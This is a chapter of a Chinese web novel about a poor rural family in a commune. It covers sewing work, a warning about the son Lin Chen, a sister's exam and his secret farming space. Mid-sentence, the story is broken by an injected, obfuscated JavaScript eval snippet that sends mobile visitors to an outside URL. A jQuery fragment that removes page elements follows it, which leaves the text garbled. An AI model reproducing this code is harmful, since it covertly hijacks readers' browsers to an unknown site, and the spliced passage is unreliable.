张桂英又来了。
一大早，院门就被拍得砰砰响。念念还在吃饭，听见声音，从凳子上滑下去，跑过去开门。
“张奶奶。”
张桂英站在门口，手里提着一个布包袱，鼓鼓囊囊的。她今天穿了一件洗得发白的蓝褂子，头发用黑卡子别着，脸被太阳晒得黑红。
“念念，你妈呢？”
“在灶房。”
张桂英走进来，把包袱放在灶台上。母亲正在切菜，放下刀，在围裙上擦了擦手。
“桂英姐，吃了没？”
“吃了吃了。”张桂英解开包袱，里面是几块碎布和一件半成品的褂子，“秀兰，这个活你接不接？公社妇联的，给敬老院老人做棉衣，一件八毛钱，布料和棉花都现成的，你只管做。”
母亲拿起那件半成品看了看，针脚走得不太齐，领口歪了一点，得拆了重缝。
“能做。几件？”
“你先做三件，做完了还有。”张桂英从口袋里掏出几张票证，放在灶台上，“这是布票和棉花票，妇联给的。做好了，东西送到我那儿，我帮你交。”
母亲把褂子放下，点了点头。
“还有一件事。”张桂英压低声音，“你们家林晨最近是不是去公社了？”
母亲手上没停，切菜的刀一下一下的。
“有人看见他在供销社门口转悠。”张桂英的声音压得更低了，“你知道的，现在外面查得紧。你让他别乱跑，好好在家待着。”
母亲放下刀，转过身看着她。
“桂英姐，谁看见了？”
“你别管谁。”张桂英摆摆手，“我就是给你提个醒。你家的日子好不容易好起来，别出岔子。”
母亲没再问。
张桂英拍了拍她的手，走了。
念念蹲在灶房门口，手里拿着半个红薯，啃得满脸都是。她听见张桂英说的话，没听懂，但记住了“林晨”两个字。
“妈，有人说哥。”
母亲没接话，把切好的红薯拢进盆里，端到灶台上。
林晨从院子里进来，刚才他在柴房磨锄头，听见张桂英的声音，没出去。
“妈，张婶说什么了？”
“让你别乱跑。”母亲头都没抬。
林晨没再问。
他蹲下来，把灶膛里的灰掏出来，倒进墙角的筐里。火熄了，灶膛还是热的，灰烬里还有几颗没烧尽的火星，一明一暗的。
念念走过来，蹲在他旁边。
“哥，有人说你。”
“谁？”
“张奶奶。”
“说哥什么了？”
念念想了想：“说你去公社了。”
林晨手上的动作停了一下，然后继续掏灰。
“哥没去公社。”他说。
“可是张奶奶说——”
“哥没去。”
念念不说话了，低下头，拿小棍子在地上画。
中午，熙熙从周老师家回来，手里拿着一本旧课本，翻得卷了边。
“妈，周老师说，公社小学的报名表他帮我领了。”她把课本放在桌上，“下个月十五考试，让我好好复习。”
母亲正在烀红薯，锅里的水咕嘟咕嘟冒泡，热气糊在她脸上，湿漉漉的。
“复习好了？”
“差不多了。”熙熙翻开课本，指着上面的字，“周老师说，语文我肯定没问题，数学还要再练练。”
念念凑过来，看着课本上的字，一个都不认识。
“姐，这写的是啥？”
“字。”
“什么字？”
“天、地、人、和。”
念念跟着念：“天、地、人、和。”
念完了，抬头问：“和是啥？”
熙熙想了想：“和就是大家好，不吵架。”
念念点点头，又问：“那吵架了就不和了？”
“对。”
“那马翠花和大家不吵架？”
熙熙愣了一下，然后笑了。
“马翠花不和大家和。”
念念“哦”了一声，继续啃红薯。
下午，林晨下地了。南坡的草拔完了，老队长安排他去西洼翻地。
西洼的地比南坡陡，坡上的土被雨水冲出一道一道的沟。林晨抡起锄头，一锄一锄地刨。土硬，锄头下去，震得虎口发麻。
李叔在地那头翻，翻一会儿，歇一会儿。
“晨儿。”李叔喊他。
“嗯。”
“你妈最近接缝纫活了？”
“接了。张婶介绍的。”
“好事。”李叔直起腰，擦了擦汗，“你妈手巧，做出来的活比供销社卖的都周正。”
林晨没接话，低头继续翻地。
太阳西斜的时候，老队长吹哨收工。
林晨扛着锄头往回走，路过村口老榆树下，老队长正蹲在树根上抽烟。
“晨儿，过来。”
林晨走过去。
“你二叔又寄钱了？”老队长问。
“嗯。”
“寄了多少？”
“二十。”
老队长点了点头，磕了磕烟袋锅：“留着给你妹交学费。你妹争气，别让她辍学。”
“知道。”
老队长站起来，拍了拍裤腿上的土，走了。
林晨扛着锄头回家。
院门口，念念不在。他走进灶房，念念正蹲在灶台边，帮母亲往灶膛里添柴。
“念念，你又烧火了？”
“我帮妈。”
母亲把锅盖揭开，红薯的甜味一下子涌出来，整个灶房都是香的。念念吸了吸鼻子，站起来，踮着脚尖往锅里看。
“妈，熟了没？”
“熟了。”母亲拿筷子扎了一下红薯，筷子轻松穿过去，“熟了。”
她夹了一个红薯，放在碗里，晾了晾，递给念念。
念念捧着碗，吹了吹，咬了一口，烫得龇牙咧嘴，但没吐出来，含混地说：“好次。”
“慢点，没人跟你抢。”熙熙从屋里出来，手里拿着书。
念念把红薯咽下去，又咬了一口。
林晨坐在门槛上，脱了鞋，倒土。
灶房里，红薯的甜味和缝纫机油的味道混在一起，热腾腾的。母亲踩缝纫机，咔嚓咔嚓，一件棉衣的袖子缝好了。她拿起来看了看，针脚匀称，比那件半成品的做工好多了。
“妈，你做完了我帮你送。”林晨说。
“不急。”母亲把棉衣叠好，放在炕上，“你好
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17508799|202911||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
好下地，别耽误活。”
晚上，吃完饭，熙熙在油灯下写字。念念趴在旁边，拿小棍子在桌上画。
“姐，你写的什么？”
“数学题。”
“数学题是啥？”
“就是算数。”
念念想了想：“1加1等于2，我知道。”
熙熙笑了：“谁教你的？”
“哥教的。”念念得意地挺了挺胸，“哥说，1加1等于2，2加2等于4。”
“那4加4等于几？”
念念数了数手指头，数到8，伸出双手：“8。”
“对了。”熙熙摸了摸她的头。
念念更得意了，拿小棍子在桌上写了一个“8”，歪歪扭扭的，像两个叠在一起的圈。
“姐，你看，我写的。”
“写得好。”
念念把桌子上的字擦了，又写了一个“1”。
“姐，1像小棍子。”
“对。”
“2像鸭子。”
“谁教你的？”
“哥。”念念把棍子放下，趴在桌上，“哥说，1像棍子，2像鸭，3像耳朵，4像旗。”
熙熙看了林晨一眼。林晨坐在门槛上，背对着她们，肩膀微微动了一下，在笑。
念念还在念：“5像钩子，6像勺，7像拐杖，8像葫芦，9像……”
她想不起来了。
“9像气球。”熙熙说。
“对，9像气球。”念念笑了，“姐，你也会。”
熙熙低下头，继续写字。
夜深了，念念睡着了。
林晨进了一趟空间。白菜又长了一截，叶子从四片变成了六片，挨挨挤挤的，绿得发亮。他蹲下来，拔了拔草，又浇了一遍水。
萝卜也出苗了，嫩嫩的，两片子叶顶着土，绿莹莹的。他用手轻轻碰了碰，叶子软得像绸子，凉丝丝的。
林晨站起来，走到木屋门口，把存的粮食又过了一遍。
玉米面六袋，每袋五斤。土豆两筐，红皮的，圆滚滚的。红薯干一袋，挂在梁上。黄豆剩的不多了，只有五六斤，留着自家吃。
他走到井边，喝了三捧水，灌了竹筒，出来，兑进水壶。
躺在炕上，念念的手又搭过来了。小手攥着他的袖子，手指微微蜷着，像是在梦里也要拽住了才安心。
林晨侧过头，看着她。
月光从窗纸透进来，照在她脸上。她睡着了，小嘴微微张着，呼吸匀匀的。嘴角还沾着一点红薯渣，没擦干净。
林晨伸手，用拇指把那点红薯渣抹掉。
念念动了动，含混地说了一声“哥”，又沉沉睡去。
林晨没动，在黑暗里睁着眼。
明天，还要下地。
后天，熙熙就要去公社考试了。
他把手伸进口袋，摸到那枚玉佩。温热的，沉甸甸的。
他在心里说：快了。等熙熙考上了，等念念再大一点，等家里再宽裕一点，一切都会好的。
窗外，风吹着老榆树的叶子，沙沙响。
东屋里，爷爷咳嗽了一声。奶奶说了句什么，听不清。
然后一切安静了。
林晨闭上眼，听着念念的呼吸声，慢慢睡着了。